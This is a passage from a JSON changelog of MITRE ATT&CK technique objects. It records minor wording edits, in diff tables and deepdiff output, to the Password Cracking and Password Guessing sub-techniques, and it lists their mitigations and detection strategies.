nowrap=\"nowrap\">lid&nbsp;Accounts](https://attack.mitre.org/techniques/T1078)&nbsp;wit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lid&nbsp;Accounts](https://attack.mitre.org/techniques/T1078)&nbsp;wit</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hin&nbsp;a&nbsp;victim&nbsp;environment&nbsp;leveraging&nbsp;knowledge&nbsp;gathered&nbsp;from&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hin&nbsp;a&nbsp;victim&nbsp;environment&nbsp;leveraging&nbsp;knowledge&nbsp;gathered&nbsp;from&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">other&nbsp;post-compromise&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;[OS&nbsp;Credential&nbsp;Dumpi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">other&nbsp;post-compromise&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;[OS&nbsp;Credential&nbsp;Dumpi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng](https://attack.mitre.org/techniques/T1003),&nbsp;[Account&nbsp;Dis</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng](https://attack.mitre.org/techniques/T1003),&nbsp;[Account&nbsp;Dis</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">covery](https://attack.mitre.org/techniques/T1087),&nbsp;or&nbsp;[Pass</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">covery](https://attack.mitre.org/techniques/T1087),&nbsp;or&nbsp;[Pass</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">word&nbsp;Policy&nbsp;Discovery](https://attack.mitre.org/techniques/T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">word&nbsp;Policy&nbsp;Discovery](https://attack.mitre.org/techniques/T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1201).&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;combine&nbsp;brute&nbsp;forcing&nbsp;activity&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">1201).&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;combine&nbsp;brute&nbsp;forcing&nbsp;activity&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;[External&nbsp;Remote&nbsp;Services](https://att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;behaviors&nbsp;such&nbsp;as&nbsp;[External&nbsp;Remote&nbsp;Services](https://att</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1133)&nbsp;as&nbsp;part&nbsp;of&nbsp;Initial&nbsp;Access.&nbsp;&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1133)&nbsp;as&nbsp;part&nbsp;of&nbsp;Initial&nbsp;Access.&nbsp;&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;If&nbsp;an&nbsp;adversary&nbsp;guesses&nbsp;the&nbsp;correct&nbsp;password&nbsp;but&nbsp;fails&nbsp;to&nbsp;l</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;If&nbsp;an&nbsp;adversary&nbsp;guesses&nbsp;the&nbsp;correct&nbsp;password&nbsp;but&nbsp;fails&nbsp;to&nbsp;l</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">og<span class=\"diff_chg\">in&nbsp;to&nbsp;a&nbsp;compromised&nbsp;account&nbsp;due&nbsp;to</span>&nbsp;location-based&nbsp;conditio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">og<span class=\"diff_chg\">&nbsp;in&nbsp;to&nbsp;a&nbsp;compromised&nbsp;account&nbsp;due&nbsp;to</span>&nbsp;location-based&nbsp;conditi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nal&nbsp;access&nbsp;policies,&nbsp;they&nbsp;may&nbsp;change&nbsp;their&nbsp;infrastructure&nbsp;un</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onal&nbsp;access&nbsp;policies,&nbsp;they&nbsp;may&nbsp;change&nbsp;their&nbsp;infrastructure&nbsp;u</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">til&nbsp;they&nbsp;match&nbsp;the&nbsp;victim\u2019s&nbsp;location&nbsp;and&nbsp;therefore&nbsp;bypass&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ntil&nbsp;they&nbsp;match&nbsp;the&nbsp;victim\u2019s&nbsp;location&nbsp;and&nbsp;therefore&nbsp;bypass&nbsp;t</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ose&nbsp;policies.(Citation:&nbsp;ReliaQuest&nbsp;Health&nbsp;Care&nbsp;Social&nbsp;Engine</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">hose&nbsp;policies.(Citation:&nbsp;ReliaQuest&nbsp;Health&nbsp;Care&nbsp;Social&nbsp;Engin</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ering&nbsp;Campaign&nbsp;2024)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">eering&nbsp;Campaign&nbsp;2024)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1018: User Account Management",
                            "M1027: Password Policies",
                            "M1032: Multi-factor Authentication",
                            "M1036: Account Use Policies"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0463: Brute Force Authentication Failures with Multi-Platform Log Correlation"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--1d24cdee-9ea2-4189-b08e-af110bf2435d",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:38:56.197000+00:00",
                    "modified": "2026-11-04 03:14:59.745000+00:00",
                    "name": "Password Cracking",
                    "description": "Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \n\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services to which the account has access.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1110/002",
                            "external_id": "T1110.002"
                        },
                        {
                            "source_name": "US-CERT-TA18-106A",
                            "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                        },
                        {
                            "source_name": "Wikipedia Password cracking",
                            "description": "Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015.",
                            "url": "https://en.wikipedia.org/wiki/Password_cracking"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Mohamed Kmal"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Identity Provider",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Office Suite",
                        "Windows"
                    ],
                    "x_mitre_version": "1.4",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 03:14:59.745000+00:00\", \"old_value\": \"2026-05-12 15:12:00.622000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \\n\\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services to which the account has access.\", \"old_value\": \"Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \\n\\nTechniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) can be used to obtain password hashes, this may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1550/002) is not an option. Further,  adversaries may leverage [Data from Configuration Repository](https://attack.mitre.org/techniques/T1602) in order to obtain hashed credentials for network devices.(Citation: US-CERT-TA18-106A) \\n \\n-Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.\\n+Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network.(Citation: Wikipedia Password cracking) The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services to which the account has access.\"}}}",
                    "previous_version": "1.4",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to102__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to102__0\"><a href=\"#difflib_chg_to102__top\">t</a></td><td class=\"diff_header\" id=\"from102_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;password&nbsp;cracking&nbsp;to&nbsp;attempt&nbsp;to&nbsp;recover&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to102__top\">t</a></td><td class=\"diff_header\" id=\"to102_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;use&nbsp;password&nbsp;cracking&nbsp;to&nbsp;attempt&nbsp;to&nbsp;recover&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">usable&nbsp;credentials,&nbsp;such&nbsp;as&nbsp;plaintext&nbsp;passwords,&nbsp;when&nbsp;creden</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">usable&nbsp;credentials,&nbsp;such&nbsp;as&nbsp;plaintext&nbsp;passwords,&nbsp;when&nbsp;creden</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tial&nbsp;material&nbsp;such&nbsp;as&nbsp;password&nbsp;hashes&nbsp;are&nbsp;obtained.&nbsp;[OS&nbsp;Cred</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tial&nbsp;material&nbsp;such&nbsp;as&nbsp;password&nbsp;hashes&nbsp;are&nbsp;obtained.&nbsp;[OS&nbsp;Cred</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ential&nbsp;Dumping](https://attack.mitre.org/techniques/T1003)&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ential&nbsp;Dumping](https://attack.mitre.org/techniques/T1003)&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;be&nbsp;used&nbsp;to&nbsp;obtain&nbsp;password&nbsp;hashes,&nbsp;this&nbsp;may&nbsp;only&nbsp;get&nbsp;an&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">an&nbsp;be&nbsp;used&nbsp;to&nbsp;obtain&nbsp;password&nbsp;hashes,&nbsp;this&nbsp;may&nbsp;only&nbsp;get&nbsp;an&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;so&nbsp;far&nbsp;when&nbsp;[Pass&nbsp;the&nbsp;Hash](https://attack.mitre.or</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dversary&nbsp;so&nbsp;far&nbsp;when&nbsp;[Pass&nbsp;the&nbsp;Hash](https://attack.mitre.or</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1550/002)&nbsp;is&nbsp;not&nbsp;an&nbsp;option.&nbsp;Further,&nbsp;&nbsp;adversar</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">g/techniques/T1550/002)&nbsp;is&nbsp;not&nbsp;an&nbsp;option.&nbsp;Further,&nbsp;&nbsp;adversar</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;may&nbsp;leverage&nbsp;[Data&nbsp;from&nbsp;Configuration&nbsp;Repository](https:</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ies&nbsp;may&nbsp;leverage&nbsp;[Data&nbsp;from&nbsp;Configuration&nbsp;Repository](https:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1602)&nbsp;in&nbsp;order&nbsp;to&nbsp;obtain&nbsp;hash</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">//attack.mitre.org/techniques/T1602)&nbsp;in&nbsp;order&nbsp;to&nbsp;obtain&nbsp;hash</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;credentials&nbsp;for&nbsp;network&nbsp;devices.(Citation:&nbsp;US-CERT-TA18-1</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ed&nbsp;credentials&nbsp;for&nbsp;network&nbsp;devices.(Citation:&nbsp;US-CERT-TA18-1</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">06A)&nbsp;&nbsp;&nbsp;Techniques&nbsp;to&nbsp;systematically&nbsp;guess&nbsp;the&nbsp;passwords&nbsp;used</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">06A)&nbsp;&nbsp;&nbsp;Techniques&nbsp;to&nbsp;systematically&nbsp;guess&nbsp;the&nbsp;passwords&nbsp;used</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;compute&nbsp;hashes&nbsp;are&nbsp;available,&nbsp;or&nbsp;the&nbsp;adversary&nbsp;may&nbsp;use&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;to&nbsp;compute&nbsp;hashes&nbsp;are&nbsp;available,&nbsp;or&nbsp;the&nbsp;adversary&nbsp;may&nbsp;use&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;pre-computed&nbsp;rainbow&nbsp;table&nbsp;to&nbsp;crack&nbsp;hashes.&nbsp;Cracking&nbsp;hashes</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;pre-computed&nbsp;rainbow&nbsp;table&nbsp;to&nbsp;crack&nbsp;hashes.&nbsp;Cracking&nbsp;hashes</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;usually&nbsp;done&nbsp;on&nbsp;adversary-controlled&nbsp;systems&nbsp;outside&nbsp;of&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;is&nbsp;usually&nbsp;done&nbsp;on&nbsp;adversary-controlled&nbsp;systems&nbsp;outside&nbsp;of&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;target&nbsp;network.(Citation:&nbsp;Wikipedia&nbsp;Password&nbsp;cracking)&nbsp;T</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">the&nbsp;target&nbsp;network.(Citation:&nbsp;Wikipedia&nbsp;Password&nbsp;cracking)&nbsp;T</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;resulting&nbsp;plaintext&nbsp;password&nbsp;resulting&nbsp;from&nbsp;a&nbsp;successfull</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">he&nbsp;resulting&nbsp;plaintext&nbsp;password&nbsp;resulting&nbsp;from&nbsp;a&nbsp;successfull</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;cracked&nbsp;hash&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;log&nbsp;into&nbsp;systems,&nbsp;resources,&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;cracked&nbsp;hash&nbsp;may&nbsp;be&nbsp;used&nbsp;to&nbsp;log&nbsp;into&nbsp;systems,&nbsp;resources,&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;services&nbsp;<span class=\"diff_chg\">in&nbsp;which&nbsp;the&nbsp;account&nbsp;has&nbsp;access.</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;services&nbsp;<span class=\"diff_chg\">to&nbsp;which&nbsp;the&nbsp;account&nbsp;has&nbsp;access.</span></td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1027: Password Policies",
                            "M1032: Multi-factor Authentication"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0105: Post-Credential Dump Password Cracking Detection via Suspicious File Access and Hash Analysis Tools"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--09c4c11e-4fa1-4f8c-8dad-3cf8e69ad119",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-11 18:38:22.617000+00:00",
                    "modified": "2026-11-03 23:41:24.595000+00:00",
                    "name": "Password Guessing",
                    "description": "Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\n\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.(Citation: Cylance Cleaver)\n\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n* SNMP (161/UDP and 162/TCP/UDP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1110/001",
                            "external_id": "T1110.001"
                        },
                        {
                            "source_name": "Trend Micro Emotet 2020",
                            "description": "Cybercrime & Digital Threat Team. (2020, February 13). Emotet Now Spreads via Wi-Fi. Retrieved February 16, 2022.",
                            "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/emotet-now-spreads-via-wi-fi"
                        },
                        {
                            "source_name": "Cylance Cleaver",
                            "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.",
                            "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf"
                        },
                        {
                            "source_name": "US-CERT TA18-068A 2018",
                            "description": "US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.",
                            "url": "https://www.us-cert.gov/ncas/alerts/TA18-086A"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Microsoft Threat Intelligence Center (MSTIC)",
                        "Mohamed Kmal"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Containers",
                        "ESXi",
                        "IaaS",
                        "Identity Provider",
                        "Linux",
                        "macOS",
                        "Network Devices",
                        "Office Suite",
                        "SaaS",
                        "Windows"
                    ],
                    "x_mitre_version": "1.7",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:41:24.595000+00:00\", \"old_value\": \"2026-05-12 15:12:00.620000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\\n\\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.(Citation: Cylance Cleaver)\\n\\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\\n\\n* SSH (22/TCP)\\n* Telnet (23/TCP)\\n* FTP (21/TCP)\\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\\n* LDAP (389/TCP)\\n* Kerberos (88/TCP)\\n* RDP / Terminal Services (3389/TCP)\\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\\n* MSSQL (1433/TCP)\\n* Oracle (1521/TCP)\\n* MySQL (3306/TCP)\\n* VNC (5900/TCP)\\n* SNMP (161/UDP and 162/TCP/UDP)\\n\\nIn addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\\n\\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \\\"logon failure\\\" event ID 4625.\", \"old_value\": \"Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\\n\\nGuessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\\n\\nTypically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\\n\\n* SSH (22/TCP)\\n* Telnet (23/TCP)\\n* FTP (21/TCP)\\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\\n* LDAP (389/TCP)\\n* Kerberos (88/TCP)\\n* RDP / Terminal Services (3389/TCP)\\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\\n* MSSQL (1433/TCP)\\n* Oracle (1521/TCP)\\n* MySQL (3306/TCP)\\n* VNC (5900/TCP)\\n* SNMP (161/UDP and 162/TCP/UDP)\\n\\nIn addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, adversaries may abuse network device interfaces (such as `wlanAPI`) to brute force accessible wifi-router(s) via wireless authentication protocols.(Citation: Trend Micro Emotet 2020)\\n\\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \\\"logon failure\\\" event ID 4625.\", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism. An adversary may guess login credentials without prior knowledge of system or environment passwords during an operation by using a list of common passwords. Password guessing may or may not take into account the target's policies on password complexity or use policies that may lock accounts out after a number of failed attempts.\\n \\n-Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\\n+Guessing passwords can be a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.(Citation: Cylance Cleaver)\\n \\n Typically, management services over commonly used ports are used when guessing passwords. Commonly targeted services include the following:\\n \\n@@ -18,6 +18,6 @@\\n * VNC (5900/TCP)\\n * SNMP (161/UDP and 162/TCP/UDP)\\n \\n-In addition to management services, adversaries may \\\"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\\\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018). Further, 